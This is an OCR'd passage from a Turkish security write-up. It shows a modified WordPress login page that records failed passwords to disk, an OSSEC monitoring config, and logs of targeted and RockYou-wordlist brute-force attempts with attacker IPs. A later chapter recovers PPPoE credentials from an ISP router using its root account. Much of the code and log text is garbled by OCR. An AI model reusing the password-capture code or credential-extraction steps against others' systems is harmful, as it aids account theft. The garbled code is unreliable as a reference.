19959299 10 1010450 199 deanosimp et @Tukey 34 Isnoul ealHosig Sunucy el i T Li St ASzaza2
19595209105 19510450195 p deansingnel B Takey 4 sanil deslHosiog Sunue et Ha. T LS. AS29202
1959019219 2101260105 peshosinonett @ Tukey 4 anauldesl Hostog Sunue et Ha. T g S AS20202
[T R ——— ooy 34 isantu ool Hosing Sunuey et e Te L St 4520282
18550164101 adonvesapissures vt @iy 34 isantuidoal Hosing Snuey et He Te U Si_ 4520282
1650064102 _onaysgitcantme com iy 3 sanudnl Hosing Sty et e Te Ld S1_ 4520252
19556164103 adorsphalyon ooy 3 sanu el Hosing Snuc et T L0 S AS2007
16595 164104 _opatkpneatyon el ke 94 ool e Hosing S et T L 51 4529262
19999104100 momcot ey et Bukey 3 s el Hosing Snuca et i T Lo S AS29202
[T TR g ——— Bukey 3 st el Hosing Snuey et i T Lg St AS29202
19590104100 necomayoenestycoocon M Trkey 4 aniul e Hostog Sunue et H. T g S AS20202
18580 164100 gonorstycolom ooy 34 isantu ool Hosing Sunuey et e Te L Si. 4520252
185 164 110_gonorstyeotcom iy 34 isanu sl Hosing Sunuey et e Te L Si_ 4520282
16506 16411 vl nshgerrosocoo com @Tutey 3 Isantu_ideal Hosting Sy e Te L S ASZOZ62
10506 16490 vnouos veuapessres et ooy 3 sanudnl Hosing Snuc et H T Lo S 4520207
19508 15499 bolsoun vausssies el @ Tukey 94 Iswbul_IdenFosing S et A T L 51 AG29282
199901014 410950 60 desbosinanell @ Tukey 4 Isnoul dealHosig Sumcs rnel i T Li St ASzaze?

Downioad csv

[lk olarak wp-login.php dosyasina yapilan hatali giris
denemelerini parola ile birlikte diske kayit eden bir PHP kodu
hazirladim. Ardindan bu kayit edilen dosyadaki degisikliklerden
de anlik olarak haberdar olabilmek icin OSSEC HIDS iizerinde

kiiciik bir tanim yaptim.

=
EiTcers the Togin page errors.
* esince 1.6.0

aram object Serrors wp crror object.
H K.r- S'Za,., Sredivect_to Redirect .«inmm ™

oo T o

4 S5y s

[ —
e

roct pacomra Serrors-sge_error_cade() ) ? ssc_attr (vp_uns132h(3_poST{ Tog"
Sremenberme ~ ! empty( S_POST('rememberme’] ); “ 2 - [ea

Serrors->get_srror_code() || "empty_password

N e Y T

4#(s_reagesT) |

e o
TR D e o et g e e
e
BE S bt e ——

3
iS

<fora nane="loginfora’
£

id="loginfora" actfon="<7php echo esc_url( site url( 'wp-login.php’, ‘login post’ ) )i 7" methos="post™
Aabel for- “username or ceail address’ ); P<br
e ToginCophs Scha' S5 1a_dbzcrbadhy_error 7> clas

Sent Smput™ velue-"<zphp acho esc_attr( Suser_login )3 " 3ize-"20" /oc/Tabel>
<o
s
Qabe1 for-"yser.pass?s<zphp,_e( “pas s 2o
o Tre e s SR ol R NE 2L T3k acho saria_descr ibedby_error; 7 classe"input® value="" size="20" /»</label>
<or
Zhvo

7
= Fires follaring the “password" field in the Togin fors.
2 esince 2.1.0
=

golaceiont “togin fora’ >

“forgetmenat™><label far encaberne” type="checkbox” id-"rememberme” value="Forever™ <?php chacked( Sresenberne ); 7> /> <7php esc_htal_e( Remember Me® ); 7></label>S

enemberme" <input nane-

3 s ST
oy i nmnm RN
’: Yo Cipy
v oo e ram SraieacssTon i i e G

S 1T wize Jogtn )
e it Type hidden’. rane-"custosize-Togin” valu

lass="button button-prisary button-large” value="<7php esc_attr_e(‘Log Tn); " />

idden” name-"testeookie” value="1" />



https://www.ossec.net/

WordPress Giivenligi 121

<include>trend-osce_rules. xml</include>
<include>ms—se_rules. xml</include>
i ludespalicy rul s xmls i Tudes
<include>zeus_rules. xml</include>
<includessolaris ben rules, xnl</include
<include>vmware_rules.xml</inclu
Gncludesns dhep rules ami</ include>
<include>asterisk_rules. xml</include>
<include>ossec_ruTes. xni</include>
<include>attack_rules.xml</include>
<include>dropbear_rules. xml</include>
<include>unbound_rules. xml</include>
<include>sysmon_rules. xml</include>
<include-opensmcpd_rufes, xnl</include>
<include>exim_rules.xml</inclu
Sincludesopenbed-ghepd_rules. xm</include>
<include>local_rules. xnl</include>
<include>http_dos_rules. xml</include>

</rules>

<syschecks>
<!-- Frequency that syscheck is executed -- default every 20 hours -->
<Frequency>72000</frequency>

<!-- By default a file mod 3 times stops reporting. shut off. --»
<auto_ignore>no</auto_ignore>

<!-- pirectories to check (perfnrm all possible verifications) -
<directories check_all="yes">/etc, /usr/bin, /usr/smn</mre<mmes>
<directories check_all="yes">/bin,/shin, /boot</directories>

<t C.TXT >
<«directories report_change:

" check_all="yes">/root, . . . </directories>
<directories report_change: i

" check_all="yes">/var fuwm/ _ </directoriessfi

<!-- Files/directories to ignore -->
<ignore>/etc/mtab</ignore>
<ignore>/etc/hosts. deny</ignores>
<ignore>/etc/mail/statistics</ignore>
<ignores/etc/random-seed</ignore>
<ignores/etc/random. seed</ignore>
<ignore>/etc/adjtime</ignores>
<ignore>/etc/httpd/logs</ignore>

<!-- check the file, but never compute the diff -->
<nodiff>/etc/ss1/private. key</nodiff>
</syscheck>

<rootcheck>
<rootkit_files>/var/ossec/etc/shared/rootkit_files. txt</rootkit_files>
<rootkit_trojans>/var/ossec/etc/shared/rootkit_trojans.txt</rootkit_trojans>
</rootcheck>

Ekim ayinin sonu ve Kasim ay1 boyunca kayit altina alinan hatali
kullanic1 adi ve parola denemelerine baktigimda, denenen
kullanic1 adi1 ve parolalarin sozlitkte yer alan siradan kelimeler
yerine blog yazilarimda gecen kelimelerden olustugunu 6grendim.
Bu bilgi benim icin hedeflenmis bir saldir1 girisimi olduguna isaret
ediyordu.

OSSEC Alert - Batcave - Level 7 - Integrity checksum changed. »

OSSECHIDS  @mertsarica com via o, Nov

0SSEC HIDS Notfication.
2018 Nov 29 06:4134

Received From: Batoave->syscheck
Rule: 550 fred lovel 7) > “ntegrity checksum changed.
Porton ofthe log(s):

Integrity checksum changed for: varfwur! t
Wihat changed:

12801281

>29-11-2018 03:41:3 [Failed Password] Clent 185.85.191.196 Username: nopcon Password: nopcon UserAgent: Mozla/5.0 (Windows NT 10.0; WOWE4) AppleWebKit537.36 (KHTML, ik Gecko) Chromel51.0.2704.103 Safar537.36
Old mdSsum was: ba37834adaBa5e9e2130bb7cc510e1e2

New mdSsumis - ‘45ebS00b915a31cB9066dBe0113c61

Old shatsum was: “49033eadcA00043623612835a7 5520121990722

—~END OF NOTIFICATION
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S 5 =

T Tora 18152105 ratied Pasomtra] et Ra3.0:168.101 vscrbe L atiin Pasowor 65 Hedef UserAgent: Hor1T1a/5.0 Gelndows AT 10.05 wousé) appleebiic/537.35 ., ke Gecke) Chrome/s1.0.2704.103 safari/3
“10-2018 21124154 [Failed passuord) Client: 185.86.164.98 Usernane: admin passuorc: Oyunda Useragent: Mozi113/5.0 (sindos NT 10.0; Wowed) Applawebkie/s37.36 (WML, 1ike Gacko) Chrome/SL.0.2704.103 Safari/s
20-2018 21:58:22 [Failed Password] Client: 185.86.164.100 Usernane: kimin Password: kimin Useragent: Mozi11a/5.0 (windows NT 10.0; WOWGL) APPIeNebKiE/S37.36 (HTHL, 1ike Gecke) Chrome/SL.0.2704.103 safari/s
102015 22:40:00 [Failed Password) Client: 185.86.160.104 usernane: fake password: fakt Useragent: Mozil1a/5.0 (windows NT 10.0; WONGE) AppleNebkic/537.36 (KHTL, 1ike Gecks) Chrome/SL.0.2704.103 safari/s37

“10-2018 (Failed passuord] Client: 185.80.164.106 Usernane: adnin password: zaman Useragant: Hozi113/5.0 (vindos NT 10.0; WowSH) Applauebiit/537.36 (ML, 1ike Gecko) Chrome/51.0.2704.103 Safari/5
152008 [Failed password] Client: 185.86,164.110 usernane: kas password: Kas UserAgent: wozi11a/5.0 Cwindoms NT 10.0; WowS) ApplawebRit/337.36 (KHHL, 1ike Gacke) chrose/51.0.2704.103 Safari/537.3
7ot0-20is [ratled password] Client: 185.85.239.100 usernane: aduin password: mmunity Useragent: Mo2111/5.0 (rindons KT 10.0; owss) Applencbkit/SI7.36 (kATSL, Tike Gecks) chrone/51.0.2704,103 Safar
721013018 02129129 (521100 Pasvorc] Cent: 10588.239.110 usernane: adafn Paccuordi RRVIYOTD  UserAQenc: WOz1112/5.0 Chinons KT 10.0; VOG4) A9p1eNSBKYS/537.38 KL, Tike Gecko) Chrome/51.0. 3708103 saar
/235: 2616 03148126 [ravied passuord] Cliene: 164,59 Usernane: adnin pazsuord: uluda Useragent: KoxiT1a/5.0 (uirdons NT 10,05 OWGE) APPIEMEbKE/S37.36 (MUL, Tike Gecka) Chrome/51.0.2704.103 Safari/s)

2018 04:03:22 [Fafled password] Client /164,106 Usernane: ertsarica passaards ertsarica Useragent: Mozil1a/5.0 (Windows KT 10.0; WONGE) ApaleNsbiic/537.36 (KITML, Tike Gecko) Chrome/SL.0.2704.103

[Failed passuord) Client: /164,106 usernane: tsaric password: tsarfe Useragent: Nozi11a/5.0 (windows NT 10.0; WONGA) Applewebiit/537.36 (KITHL, 1ike Gecko) Chrome/SL.0.2704.103 safari
11674 Usernase: admin password: fyaca Useragent: Mozil1a/5.0 (windows NT 10.0; WoW64) AppleNebkit/537.36 (KNTWL, Tike Gecko) Chrome/S1.0.2704.103 Safari/s37
[ratled password) cliem: 1164109 usernane: BIT8] passwordi bTT Useragent: Hozi11a/5.0 (windows NT 10.0; wow64) Applewebkit/537.36 kMWL, Tike Gecko) chrome/51.0.2704.103 safari/s
[ratled password) cliem 163,108 usernane: venl] passwordi venll Useragent: wozi11a/5.0 (windous NT 10.0; wou6s) applewebkit/537.36 (xHTuL, Tike Gecko) chrome/$1.0.2704.103 safari/s

[Fatled password] Client: 185.85.239.195 Usernane: control password: CONErol Useragent: WoziT1a/s.0 (uindows NT 10.0; wOwSs) Applewebkic/s37.36 (kHTHL, ke Gecko) Chrome/S1.0.2704.103 Safa

[Failed password) Client:

5716 3015 0710615 [ealed passuord] Cldenc: 185.86.164.107 Username: aduin password: esnas Useragent: Mozi11a/5.0 (vindons NT 10.0; woues) Appleuebkic/s37.36 (WHTHL, Tike Gecko) Chrome/S1.0.2704.103 Safari/s
7138 2016 07:15:52 (Fatlad password) Cliant: 185.85.191.201 Usernane: hem Passord:s hem UserAgent: NoziT1a/5.0 (vindows NT 10.0; YOWES) APPISUEbKIE/S37.36 (KWL, Tike Gacko) Chrose/51.0.2704.103 Safard/537.3
27-10-2016 07:34:13 [Fatled password) cldenc: 185.86.164.99 sernane: venli password: venld Useragent: Hozi11a/5.0 (windows NT 10.0; WONGH) Applenebkie/S37.36 (kHTUL, Tike Gecko) Chrome/51.0.2704.103 safari/s3
277002016 09:25:13 [Failed password) lient: 185.86.164.100 usernane: fatnal passvords fatnal useragent: wozi11a/5.0 (windoms NT 10.0: vowSd) Applewebiit/537.36 (KiTWL, 1ike Gecko) Chrome/51.0.2704.103 safari

22015 09:30:33 [rafled password] Client: 185.85.236.244 Usernane: sarfca passwords sarfca useragent: wozf11a/5.0 (vindoms NT 10.0; owSs) Applewebeit/S37.36 (WAL, 1ike Gacke) chrome/31.0.2704,103 Safari
185.56.13.213 Usernane: aduin passnord: lederf Useragent: Wozi11a/5.0 Guindows NT 10.0; WOuGs) applenebkit/s37.36 (kuuL, ke ecka) chrome/s1.0.2704,103 safari/s

27102015 10:07:53 [Fatled password] Clent: 185.86,164.103 Usernane: bankac Passwords bTkac Useragert: woziT1a/s.0 (windows NT 10.0; WONG4) Applewebeit/s37.35 (KHTWL, Tike Gecko) chrone/51.0.2704.103 Safari

[ratied password] clen:

22425018 10125136 [Fated password] Client: 185.86,1641102 usernane: adath Password5 Coneral| Usersgent: oziTia/s.0 (windows NT 10.0; wes) ApplewebKTE/S37.36 CHTHL, Tike Gecko) Chrone/51.0.2708,108 Satar
27-10-2018 10:36:49 [Failed Password] Client: 185.86.164.104 Username: admin Password: fakt Useragent: Mozilla/5.0 (windows NT 10.0; WOWGd) AppleWebKit/537.36 (KHTWL, like Gecko) Chrome/51.0.2704.103 Safari/53
27-10-2018 10:52:28 [Failed Password) Client: 185.85.190.132 Username: admin Password: tsari UserAgent: Mozilla/5.0 (Windows NT 10.0; WOW64) ApplewebKit/537.36 (KMTML, like Gecko) Chrome/51.0.2704.103 safari/s
37238 2018 12113045 (Faited pasaword) Cliens: 185.86.160,106 usernare: toka Pasowrds Soka. USeragents KoziT1a/5.0 Caindors KT 10,05 VOWG) ASPIeNeBKIS/537.35 CRITL., Tike Gecko) hrone/51.0, 704,103 safar /537
a1 pasonard] CTient 185,86, 164,98 Vserrane: Rarcs vassmrd: Tt Useragent: Wozf112/5,0 (Windows T 10.03 WoRSe) AGBIGWGDKIE/S37.36 (o, 1ike cecko) Cheane/53.0.2704. 103 safari/52

2019 yilimin Subat ayinda denenen parolalara tekrar baktigimda
ise bu defa 2009 yilinda hacklenen Rockyou.com sitesinin
veritabanindan elde edilen parolalarin denenmeye basladigini

04°02-2015 02:09:33 [ratled password] Clients

o580, L6501 Goer B i password: 152061 UserAgent: HoZIT1a/5.0 (windows AT 10.0; %owSH) ApPTeWEDKIE/537.36 CKHTHL, ke Gecko) chrome/31.0. 2703.103 safar/3 "
64:07-2015 02149119 [eailed password] Cldent: 185.86.13.213 Usernane: adnin password: mustang Useragent: Moz{11a/5.0 (vindous NT 10.0; wowss) Appleuebxic/s37.36 (WML, Tike Gecko) Chrome/s1.0.2704.103 Safari/s
842532019 04116108 [eat1ed password] Cldenc: 185.86.164.106 Usernane: adrin password: fsabel Useragent: MoziT1a/5.0 (vindons NT 10.0; woues) APpleuebkic/S37.36 (WHTHL, Tike Gecko) Chrome/S1.0.2704.103 Safari/s
842332010 05:35:30 [rat1ed password] cldenc: 185.85.238.244 Username: adrin password: Tsabel Useragent: Mozi11a/5.0 (vindows NT 10.0; wowGd) AppleuebKit/S37.36 (WML, Tike Gecko) Chrome/S1.0.2704.103 safari/s
[Fatled password) client: 185.56.164.104 Usernane: adnin password: natalie Useragent: Wozi11a/5.0 (windows NT 10.0; WOWEH) Applewebit/537.36 (kHTHL, ik Gecke) chrome/51.0.2704.103 Safari/
[rafled password] client: 185.85.230.105 usernane: adnin password: natalie useragent: Wozi11a/5.0 Gindows NT 10.0; WoWEH Applewebit/537.36 (ki ke cecko) chrome/S1.0.2704.103 safari/
99 usernane: adnin password: [azalfe Lseragent: oziT1a/s.0 (windows NT 10.0; wow64) Applewebxit/s37.36 (e, 1ike Gecko) chrome/st.0.2704.103 safari/s
aceako seragem

[Fated password] Client: 185.55.235.24 Usernane: adnin password: cuteako Useragent: Mozi11a/5.0 (vindows NT 10.0; WOWSS) AppIewebKiT/337.36 (HTML, Tike Gecko) Chrome/51.0.270.103 Safari/

[ratled password) liam
[ratied password] cliem

106 usernane: adnin passwors M02111/5.0 (windows T 10.0; WOWS4) ApplewebKit/337.35 (kT like Gecko) Chrome/s1.0.2704.103 safari/
[Fatled passuord] Client: 185.85.191.201 Usernane: adnin passuord: cuceako Useragent: Nozi11a/5.0 (windows NT 10.0; WOWSS) APPIeWebKit/S37.36 (KHTHL, Tike Gecko) Chrome/51.0.2704.103 Safari/
[Fatled passuord] Client: 185.85.230.110 Usernane: adnin passuord: Javier Useragent: Mozi11a/5.0 (windows NT 10.0; WOW64) Applaebkit/537.36 (KHTML, Tike Gecko) Chrome/S1.0.2704.103 Safari/s
[Failed password) Client: 185.86.164.101 Usernane: adnin passuord: Javier Useragent: Hozi11a/5.0 (windows NT 10.0; WOuG1) Applaebkit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/s


https://wiki.skullsecurity.org/Passwords
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GO gle cuteako javier natalie password .!; Q

All Images Videos News Maps More Settings Tools

About 1,220 results (0.43 seconds)

distributed-password-cracking/passwords.txt at master ... - GitHub®
https://github.com/brannondorsey/distributed-password-cracking/blob/ . /passwords txt

karen. mustang. isabel. natalie. cuteako. javier. 789456123. 123654. sarah. bowwow. portugal. laura
TTTT7T. marvin. denise. tigers. volleyball. jasper. rockstar

Images for cuteako javier natalie password

- Wore images for cuteako javier natalie password Report images

python-pentesting/passwords.txt at master - jmortega/python ... - GitHub®
https://github.com/jmortega/python-pentesting/blob/master/passwords. txt

password. iloveyou. princess. 1234567. 12345678. abc123. nicole. daniel .... natalie. cuteako. javier.
789456123. 123654, sarah. bowwow. portugal. laura

Common Passwords - npme

https:/iwww.npmjs_com/signup/common-passwords ~

123456 12345 123456789 password iloveyou princess 1234567 12345678 ... brenda adidas kitten
karen mustang isabel natalie cuteako javier 789456123

List of most common passwords - PH4.ORG®

hitps:/ivww phd org/pass_passlist.php v

123456; 12345; 123456789 password: iloveyou; princess; 1234567 rockyou ... natalie; cuteako,
javier; 789456123; 123654; sarah; bowwow, portugal; laura ...

123456 12345 123456789 password iloveyou princess ... - MSU CSEe
www.cse.msu.edu/~cse231/PraciceOfComputingUsingPython/.../Password. . frockyou. txt

123456 12345 123456789 password iloveyou princess 1234567 rockyou . brenda adidas kitten
karen mustang isabel natalie cuteako javier 789456123 .

Openwall's list®
www.openwall.com/passwords/wordlists/password-2011.Ist »

Aragtirmami tamamladiktan sonra daha 6nce gevsettigim giivenlik
kontrollerini  sikilagtirmak icin oncelikle Google Captcha
eklentisini yonetici sayfasi icin etkin hale getirdim. Ardindan da
Wordfence’in  Firewall ayarlar1 sayfasindaki Brute Force
Protection bolimiinde hatali kullanici adi denemesi yapan ip
adresinin otomatik olarak bloklanmasini sagladim.


https://wordpress.org/plugins/google-captcha/
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Google Captcha Settings

Elegant Themes abonelginizin suresi doldu. Urin guncellemelerine ve destege tekrar eriim kazanmak icin, hesabinz yenilemelisiniz, Uyumluluk ve gavenligi gavence sltina simak in, temalarinizi ve eklentierniz h

& settings Google Captcha Settings

Need Help? Visit Help Center

Authentication

Site Key

Secret Key

Test reCAPTCHA

General

reCAPTCHA Version

Enable reCAPTCHA for

~ Wordpress default

——p | /] Login form
VI Registration form
V] Reset password form

¥ comments form

& -

Additionsl Options

Bu arastirma sonucunda aylardir blogumu hacklemek icin
birilerinin ugrastigini ziilerek 6grenmis oldum. Benim gibi
WordPress CMS kullananlarin ise Google Captcha, Duo Two-
Factor Authentication ve Wordfence Security eklentilerini
muhakkak kurup diizgiin bir sekilde ayarlarini yapmalarini ve
ayrica OSSEC HIDS ile de siipheli durumlara karg1 sistemlerini
yakindan izlemelerini siddetle tavsiye ederim.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler
dilerim.


https://wordpress.org/plugins/google-captcha/
https://wordpress.org/plugins/duo-wordpress/
https://wordpress.org/plugins/duo-wordpress/
https://wordpress.org/plugins/wordfence/
https://www.ossec.net/

9. Esaretten Kacis

Yillarca internet servis saglayicilarinin ADSL modemini kullanmig
ve bunlar izerinde yapmis oldugum giivenlik arastirmalar
(Hediye Modemler Ne Kadar Giivenli? , Donanim Yazilimi
Analizinin Onemi) ile bilgi givenligi farkindaligini arttirmaya
calismig biri olarak hediye modem kullanmaya bireysel olarak
sicak baktigimi pek sdyleyemem. Bunun baglica nedenlerinden
bazilarini sayacak olursam; modemlerde internet servis
saglayicilar tarafindan kullanilan gémiilii kullanici hesaplarinin
herkes tarafindan 6grenilebilmesi ve son kullanicinin modemin/
yonlendiricinin yonetim sayfasini internetten erisime ac¢masi
durumunda baskalari tarafindan kétiiye kullanilabilmesi, donanim
yazihminin (firmware) 6zel stiriim olmasi sebebiyle son, en
givenli siriime giincellenememesi, baglanti kisitlamasinin
(firewall) her baglanti noktasi (port) i¢in yapilamamasi, kisith
yonetim sayfalar1 diyebilirim.

Yaklasik iki y1l 6nce evime fiber internet altyapisinin gelmesi ile
birlikte ADSL modemin yerini yonlendirici (router) aldi. Internet
servis saglayicimin kullanmaya zorunlu tuttugu Tilgin marka,
kendi web sitesinde dahi adi sani bulunmayan HG1332 model

yonlendirici ile internetten aldigim keyifli giinler yerini esarete
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https://www.mertsarica.com/hediye-modemler/
https://www.mertsarica.com/donanim-yazilimi-analizinin-onemi/
https://www.mertsarica.com/donanim-yazilimi-analizinin-onemi/
https://www.zorluteknoloji.com/fiber-internet-baglanti-nasil-yapilir/
https://forum.donanimhaber.com/ttnet-fiber-tilgin-hg1332-modem-dayatmasi--112628228
https://tilgin.com/
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birakti. Vasat otesi WiFi sinyal giicti, 7 yil 6nce yonlendiricilerin
desteklemeye baglayip giiniimiizde siradan hale gelmis OpenVPN
desteginin olmamasi, modern giivenlik dinyasin sifreli dns
iletisimini (DoH) desteklememesi, dinamik dns (DDNS) desteginin
oldukea sinirl olmasi gibi bir ¢ok olumsuz neden sayabilirim.

Bu yonlendirici ile kisa stireli mutsuz bir beraberlikten sonra
internet servis saglayicimla yonlendiriciyi degistirmek tizere
iletisime gectigimde ne yazik ki olumsuz yanit aldim. Internet
iizerinde bu yo6nlendiriciden kurtulmak icin aragtirma yaptigimda
da bol bol sikayet diginda elle tutulur 1 kaynak bulamadigim ve
buna aywracak zamanim da pek olmadifi icin zaman icinde
kaderime boyun egmek zorunda kaldim.

Tilgin HG1332 ile gecirdigim mutsuz zamanlarin siiresi
arttikca bu yonlendiriciden kurtulmak icin aradan 1 yil gectikten
sonra internette arama yaptigimda internet servis saglayicisinin
bu  yonlendiriciyi  koprii modunda  kullanarak  kendi
HG1332’den nefret ettigim i¢in tamamiyle kurtulmanin yollarini
aramaya bagladim. Sosyal ag hesaplarim tzerinden yardim
cagrismda bulundugumda sagolsun epey bir kisi bu konuda
yardimci olmak icin seferber oldu. Aykut ALPER‘in farkli bir
internet servis saglayicisinda Mikrotik yonlendirici ile bunu
yaptigini, bir bagka yardimseverin VLAN ID ve PPOE kullanici adi
ve parolasi ile HG1332’den kurtulabilecegimi belirtmesinden sonra
ihtiyagc listesi tizerinde ¢alismaya basladim. Listeyi hazirlamak i¢in
aklima gelen sorulardan bazilari sunlar oldu;

Hangi marka ve model yonlendirici almam gerekir ?

Yillarca Asus modem ve yodnlendiricilere DD-WRT, Tomato,
Asuswrt-Merlin gibi 6zel donanim yazilimlarinin (custom
firmware) kolayca yiiklenebildigini bildigim icin tercihimi Asus
markasindan yana yaptim. Donanim yazilimi olarak da giivenlik


https://www.youtube.com/watch?v=f32IhsUgS48
https://openvpn.net/
https://developers.cloudflare.com/1.1.1.1/dns-over-https/
https://developers.cloudflare.com/1.1.1.1/dns-over-https/
https://en.wikipedia.org/wiki/Dynamic_DNS
https://forum.donanimhaber.com/ttnet-fiber-tilgin-hg1332-modem-dayatmasi--112628228
https://www.linkedin.com/feed/update/urn:li:activity:6507688080126799872
https://www.linkedin.com/feed/update/urn:li:activity:6507688080126799872
https://www.linkedin.com/in/aykutalper/
https://mikrotik.com/
https://en.wikipedia.org/wiki/Point-to-Point_Protocol_over_Ethernet
https://dd-wrt.com/
http://tomato.groov.pl/
https://asuswrt.lostrealm.ca/
https://www.asus.com/tr/Networking/Wireless-Routers-Products/
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ozellikleri hosuma gittigi icin Asuswrt-Merlin‘i tercih ettim.
Asuswrt-Merlin’in  destekledigi modeller genel olarak pahali
oldugu icin, fiyat ve performans agisindan benim icin en uygun
olan RT-AC1900U modelini satin aldim.

N SEARCH OF INCREDIBLE

Wireless-AC1900
DUAL BAND GIGABIT ROUTER

P T e R

T oer | O RppSiore


https://asuswrt.lostrealm.ca/
https://asuswrt.lostrealm.ca/about
https://www.asus.com/tr/Networking/RT-AC1900U/
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VLAN ID’im nedir ?
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Tilgin HG1332’nin arayiiziine admin kullanicisi ile baglandigimda
maalesef VLAN ID’mi gorebilecegim yonetim sayfalarinin ¢ogu
gizlenmigti. Internet tuzerinde HG1332’ye yonelik aragtirma
yaptigimda, bu yonlendiriciden kurtulmaya calisan bir kisinin
yazdig1 bir yazidan, HG1332 yo6nlendiricisinde de tanimli olan
kullanici adi ve parolalar1 elde etmeye bagaran Ilteris EROGLU
isimli gen¢ bir arkadasin bagarili caligmasma rastladim. 2015
yilinda Donanim Yazilimi Analizinin Onemi baslikli yazimda
benim de dikkat cektigim sifresiz kanal tzerinden TR-069
iletisimin gerceklesmesinin yillar sonra lteris’in calismasinda da
hala devam ettigini gérmek beni oldukca sasirtt1. Yazida yer alan
root kullanicisi ile HG1332’nin araytiziine baglandiktan sonra
VLAN ID’mi kolay bir sekilde 6grenebildim.


https://forum.donanimhaber.com/ttnet-tilgin-modem-den-kurtulmak-icin-mac-kloning-yardim--133039920
https://github.com/linuxgemini/hgw-sec-turk-telekom-style
https://www.mertsarica.com/donanim-yazilimi-analizinin-onemi/
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t | I oln root olarak oturum agtiniz. | valP ayarann etkinestir || Ayariar kaydet | | Oturumu kapat
-

mﬂ[P ANAHTAR GELiSMiS KABLOSUZ ARACLAR DURUM|HESAP TELEFON TESTLER.

YARDIM

Saglama Baglantny diizenle

Yonetim protokolil

Yonetim sunucusu Genel
Yoklama Ads [intemet ]
TR-06% Badlant: noktasi: WAN
LAN Ayarlan Tip: PPPoE (Ethernet Gzerindan PRP)
LAN yapilandirma Agiklama:
Gavenlik duvan/NAT e & e
hizmetleri e )
Calisma siresi: 5 giin 22 saat 37 dakika
WAN Ayarlan

[CAR=1
Badlantilar =

Ethernet arabirimi

Bncslik: v
]
VLAN kimligi: [2001
Képrii
Tip: ' yok
PPP gecis.

Genel

LAN grubu: ¥
PEP

Kullanici adi:

Gifra: [

MRU: (1500 |

Maxfail: |

5 ]
Canli tutmay: yeniden |5 1
dene:
Canli Tutma Araligi: |20
Erisim Yodunlastinc: | |
piemat: ||
[ proxy are
¥ kaha
) istek dzerine

Bosta kalma siresi: |2 |

U Hata ayikla
Giivenlik duvar:

¥ Givenlik duvan
@ nar

Internet servis saglayicimi aramadan PPOE kullanici ad1 ve

parolami nasil 6grenebilirim ?

root kullanicist ile arayiize girdikten sonra PPOE kullanicisinin
parolast maskeli oldugu icin mevcut konfigiirasyonu
yonlendiriciden indirip i¢inden PPOE parolasini elde edebildim.
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t II OI (] root elarak aturum actiniz. | volP ayarianin etianlestic || Ayarian kaydet | | Oturumu kapat
—

AYAR VOIP| ANAHTAR GELisMiS kaBLosuz FUTTWEVE DURUM HESAP TELEFON TESTLER

YARDIM

Fabriica Karsidan yiikle
Arac kiimesini
ki ikl
ekt el T T B
Balkam

User account
Yonetici hesabi

Kanfig

syonu kargidan yikle

Bakima hesabi Karsiya yiikle

Teshis
MIT dokimi
VolP hata ayiklama

Sistemi yeniden : :
baslatin Choose File | No

MNot:
Konfigirasyon karsiya basanyla yiklendiginde sistem yeniden baslatiacaktir

Tamami:
chasen

Konsal ve CRM Konfigirasyonu kargiya yikle

Ad

Ping
algilayier
Speed test
Yapilandirma
Aktar
Yedekle/Geri yikle
Varsayilan ayarian

geri yilkle
CSx000-01_09_15_14 C EES ® 2000-2015 Tilgin. Tm haklan sakhidir. Telif Haklan ve Tescilli Marka.
[ config.em E3

427 in "config map" string ""

428 out "link "/connection/device/table/1l/configured/4”

429 )

430 find "/connection/device/table/1/configured/4/layer” {(

431 in "type" link "/connection/layer/ip ipcp™

432 out "/connection/device/table/1/configured/4/layer/3"

433 )

434 find "/connection/device/table/l/configured/4/layer” {

435 in "type" link "/connection/layer/ppp"

436 out "/connection/device/table/1/configured/4/layer/2"

437 )

438 set "/connection/device/table/1/configured/4/layer/2/param/username™ string " "
435 set "/connection/device/table/1/configured/4/layer/2/param/password” string " s
440 connection/device/table/1/configured/4/layer/2/param/service_name” string

441 set "/connection/device/table/1/configured/4/layer/2/param/ac_name"” string ""

442  set "/connection/device/table/1/configured/4/layer/2/param/padi_timeout” s32 "0"

443 set "/connection/device/table/1/configured/4/layer/2/param/auth_type™ string "Auto"

444 connection/device/table/l/configured/4/layer/2/param/mru” ulé "1500"

445 set "/connection/device/table/1/configured/4/layer/2/param/persist” boolean "True"

446 set "/connection/device/table/1/configured/4/layer/2/param/maxfail™ ulé "0"

447 set "/connection/device/table/l/configured/4/layer/2/param/demand” boolean "False"”

445 set "/connection/device/table/1/configured/4/layer/2/param/idle" ulé "6€0"

449 set "/connection/device/table/1/configured/4/layer/2/param/proxyarp” boolean "False"
450 set "/connection/device/table/l/configured/4/layer/2/param/debug” boolean "False"”

451 set "/connection/device/table/1/configured/4/layer/2/param/keepalive_retry” ulé "5"

452 set "/connection/device/table/1/configured/4/layer/2/param/keepalive_interval™ ul6é "60"
453 action "/connection/device/table/1/add" {

454 in "index" string "2"

455 in "type" string "DHCP"

456 in "name" string "Management”

457 in "descriptien™ string

458 in "config map" string

459 out "link" "/connection/device/table/1/configured/2"

460 )

RT-AC1900U i¢in Asuswrt-Merlin’in web sayfasindan ilgili
donanim yazilimi strimini (RT-AC1900U icin RT-AC68U
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yazilimi kullanilmalidir.) indirip, web arayiizii izerinden sorunsuz
bir sekilde kurulumu gerceklestirdim. Ardindan PPOE ve VLAN
ID tanimlarmi da yaptiktan sonra yonlendiricinin basariyla
internete baglanabildigini gordim.

-~

[ Mame Date modified Type Size
u Changelog-NG bt Text Document 32 KB
D README-merlin.txt Text Docurment 10 KB
|| RT-AC68U_384.9 O.tr TRX File 37.052 KB
D sha236sum.shal36 SHAZ236 File 1KB

/ISUS RT-AC1900U Oturumu Kapat Yeniden Baslat Turkge ¥

Islem Modu: Kablosuz Venlendirici Donanim Yazlimi SUrimi: 2.0.0.4.384 20308

% Hizh Intemet SSID:
R Kurulumu

islem Modu  Sistem  Donamim Yazilimi Yikseltme  Ayarlan Geri Yakle  Geri Bildirimi
Genel

c& Ag Esleme Yénetim - Donanim Yazilim Yiikseltme

Not:

1. En son firma yazilim siramane anceki strame it gancellemeler dahildir.
@ AiProtection 2. Eski ve yeni donanim yazilimindaki yapilandirma parametresi icin, ayarlan yikseltme iglemi sirasinda korunur.
3. Yakseltme isleminin basansiz olmas: durumunda, RT-AC1900U otomatik olarak acil durum moduna geger. RT-AC1900U
